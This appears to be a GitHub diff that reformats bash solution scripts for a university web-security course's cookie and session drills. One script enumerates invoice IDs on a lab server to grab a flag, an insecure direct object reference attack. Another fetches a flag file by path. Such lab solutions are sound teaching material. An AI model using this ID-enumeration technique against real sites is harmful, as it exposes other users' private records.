File tree Expand file tree Collapse file tree 6 files changed +38
-52
lines changed
chapters/web-application-security/cookies-and-session-management/drills
mind-your-own-business/sol Expand file tree Collapse file tree 6 files changed +38
-52
lines changed Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30014
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Beep Beep Boop
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30015
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Chef hacky mchack
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30018
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Great names
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30019
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Mind your own business
1513echo " Start exploit for Mind your own business"
1614url=$url ' /invoice.php?invoice='
1715fibb_1=1
1816fibb_2=1
19- while [ $fibb_2 -le 50000 ]
20- do
21- flag=$( curl -s $url$fibb_2 | grep -o " SSS{.*}" )
22- if [[ ! -z $flag ]]; then
23- break
24- fi
25- fibb_2=$(( $fibb_2 + $fibb_1 ))
26- fibb_1=$(( $fibb_2 - $fibb_1 ))
17+ while [ $fibb_2 -le 50000 ]; do
18+ flag=$( curl -s $url$fibb_2 | grep -o " SSS{.*}" )
19+ if [[ ! -z $flag ]]; then
20+ break
21+ fi
22+ fibb_2=$(( $fibb_2 + $fibb_1 ))
23+ fibb_1=$(( $fibb_2 - $fibb_1 ))
2724done
2825echo " Flag is $flag "
2926echo " ----------------------------"
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30021
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Santa
Original file line number Diff line number Diff line change 11#! /bin/bash
22PORT=30022
33
4- if [[ $1 == " local" ]]
5- then
6- url=' http://127.0.0.1:' $PORT
7- elif [[ $1 == " remote" ]] && [[ -z $2 ]]
8- then
9- url=' http://141.85.224.101:' $PORT
4+ if [[ $1 == " local" ]]; then
5+ url=' http://127.0.0.1:' $PORT
6+ elif [[ $1 == " remote" ]] && [[ -z $2 ]]; then
7+ url=' http://141.85.224.101:' $PORT
108else
11- url=$1 ' :' $2
9+ url=$1 ' :' $2
1210fi
1311
1412# Traverse universe
1513echo " Start exploit for Traverse universe"
16- url=$url
17- wget $url ' /earth/moon/NASA/flag.php'
14+ wget " $url /earth/moon/NASA/flag.php"
1815echo " ----------------------------"
You can’t perform that action at this time.
0 commit comments